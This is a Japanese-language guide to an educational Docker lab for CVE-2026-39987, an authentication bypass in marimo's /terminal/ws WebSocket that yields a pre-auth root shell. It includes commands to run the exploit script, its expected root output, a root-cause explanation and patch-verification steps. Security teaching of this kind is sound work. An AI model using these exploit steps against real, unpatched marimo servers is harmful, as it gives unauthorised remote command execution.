
教育用Dockerラボ。marimoにおけるWebSocket認証バイパスを介した事前認証RCEであるCVE-2026-39987を実演し、エクスプロイトスクリプトとパッチ検証手順を含みます。
ターミナルWebSocket認証バイパスによる事前認証リモートコード実行
marimo におけるこの重大な脆弱性を理解、再現、パッチ適用するための教育用Dockerラボです。
| ターゲット | トークン認証が有効な edit モードで実行されている marimo <= 0.20.4 |
| 攻撃者 | Python 3 と websocket-client を持つ任意のホスト |
| 目標 | 認証トークンを提供せずに /terminal/ws 経由で対話型ルートシェルを取得する |
| 種別 | 認証バイパス → リモートコード実行 (RCE) |
| パッチ | marimo >= 0.23.0 |
⚠️ 教育目的のみ: このラボは、セキュリティ研究者、開発者、学生が認証バイパス脆弱性がどのように発生し、適切に修正するかを理解するために設計されています。隔離された環境でのみ実行してください。
┌─────────────────────────────────────────────────────────────┐
│ Docker Network │
│ (cve-lab) │
│ │
│ ┌──────────────────────┐ ┌──────────────────────┐ │
│ │ marimo-vulnerable │ │ marimo-attacker │ │
│ │ (Target) │ │ (Attacker) │ │
│ │ Port: 2718 │ │ Python 3.12 │ │
│ │ Auth: Token │◄─────│ exploit.py │ │
│ │ marimo: 0.20.4 │ │ │ │
│ └──────────────────────┘ └──────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘
このラボのファイル:
| ファイル | 目的 |
|---|---|
Dockerfile.target | 脆弱な marimo サーバーをビルドする |
docker-compose.yml | ターゲットと攻撃者のコンテナを調整する |
exploit.py |
# リポジトリをクローン
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab
# ラボを起動
docker-compose up --build -d
# エクスプロイトを実行
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
# 対話型シェルを取得
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
# 作業ディレクトリを作成し、以下のファイルを配置します:
# - docker-compose.yml
# - Dockerfile.target
# - exploit.py
# ターゲットをビルドして起動
docker-compose up --build -d
# ターゲットが実行中であることを確認
docker ps
# 表示されるはず: marimo-vulnerable Up 0.0.0.0:2718->2718/tcp
何が起こるか:
0.20.4 (脆弱なバージョン) を含むコンテナをビルドします--token 認証を明示的に有効にした edit モードで起動します2718 がホストに公開されますエクスプロイトする前に、正当なエンドポイントでターゲットが適切に保護されていることを確認しましょう:
# ブラウザまたは curl でメインUIを開いてみる
curl -s http://127.0.0.1:2718/
# 期待される結果: ログインページまたは 401/403 へのリダイレクト (トークンが必要)
# トークンなしでメインWebSocket (/ws) を試す
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# 期待される結果: 認証情報がないため接続が拒否されるか、すぐに閉じられる
重要な観察: メインのアプリケーションエンドポイントは認証を正しく強制しています。脆弱性は見落とされていたセカンダリエンドポイントにあります。
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
期待される出力:
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[+] Connected! No auth needed - Terminal WebSocket accepted
[*] Executing: id && whoami && hostname
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
<container_id>
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
任意のシステムコマンドを実行できる $ プロンプトが表示されます:
[+] Got interactive shell! Type 'exit' to quit.
$ ls -la /
total 56
drwxr-xr-x 1 root root 4096 Jan 1 00:00 .
drwxr-xr-x 1 root root 4096 Jan 1 00:00 ..
...
$ exit
[*] Connection closed.
この脆弱性は、WebSocket エンドポイント間の一貫性のない認証チェックによって存在します:
┌─────────────────────────────────────────────────────────────────┐
│ Authentication Middleware (Starlette) │
│ ├── Marks unauthenticated connections as "UnauthenticatedUser" │
│ └── Does NOT automatically close WebSocket connections │
└─────────────────────────────────────────────────────────────────┘
│
┌───────────────┴───────────────┐
▼ ▼
┌──────────────────┐ ┌──────────────────┐
│ /ws (Main) │ │ /terminal/ws │
│ │ │ (Terminal) │
│ ✓ validate_auth()│ │ ✗ NO auth check │
│ ✓ @requires("edit")│ │ ✓ SessionMode.EDIT│
│ │ │ ✓ supports_terminal()│
│ Rejects unauth │ │ ✓ Accepts immediately│
└──────────────────┘ └──────────────────┘
認証ミドルウェア (Starlette AuthenticationMiddleware) は、認証されていない接続を UnauthenticatedUser としてマークしますが、WebSocket 接続を自動的に閉じることはありません。
正しいエンドポイント (例: /ws) は validate_auth() を呼び出すか、@requires("edit") を使用して、認証されていないクライアントを拒否します。
脆弱なエンドポイント (/terminal/ws) は以下のみをチェックします:
SessionMode.EDIT — サーバーが編集モードであることを確認supports_terminal() — ターミナル機能が利用可能であることを確認await websocket.accept() を呼び出します。影響: pty.fork() は、サーバーユーザー (デフォルトの Docker イメージでは root) として実行される完全な PTY シェルを生成し、攻撃者に完全なシステムアクセスを提供します。
パッチは /terminal/ws エンドポイントに適切な認証検証を追加し、他のエンドポイントのセキュリティ体制と一致することを保証します。
ターゲットをパッチ適用済みバージョンにアップグレードし、エクスプロイトを再実行して修正を確認します:
# Dockerfile.target を編集: marimo==0.20.4 を marimo==0.23.0 に変更
# または: sed -i 's/marimo==0.20.4/marimo==0.23.0/' Dockerfile.target
docker-compose down
docker-compose up --build -d
# エクスプロイトを再度試す
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id"
パッチ適用後の期待される結果:
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[-] Connection failed: Connection refused or authentication required
接続は即座に拒否/閉じられ、シェルは取得できません。✅
# コンテナを停止して削除
docker-compose down -v
# ビルドしたイメージを削除
docker rmi cve-lab_target
# 未使用のイメージをクリーンアップ
docker image prune -f
教育目的で構築されています。責任を持って使用してください。 🔒
| PoC エクスプロイトスクリプト (単一コマンド + 対話モード) |
LAB_GUIDE.md | このガイド |
| 問題 | 解決策 |
|---|
Connection refused | コンテナが実行中であることを確認: docker ps と docker logs marimo-vulnerable でログを確認 |
ModuleNotFoundError: No module named 'websocket' | クライアントをインストール: pip install websocket-client |
| エクスプロイトからの出力がない | タイムアウトを増やす: python exploit.py ... --timeout 20 |
| コンテナがすぐに終了する | Dockerfile の構文を確認し、test.py ノートブックが正しく作成されていることを確認 |
| 権限が拒否される | Docker デーモンが実行中で、適切な権限があることを確認 |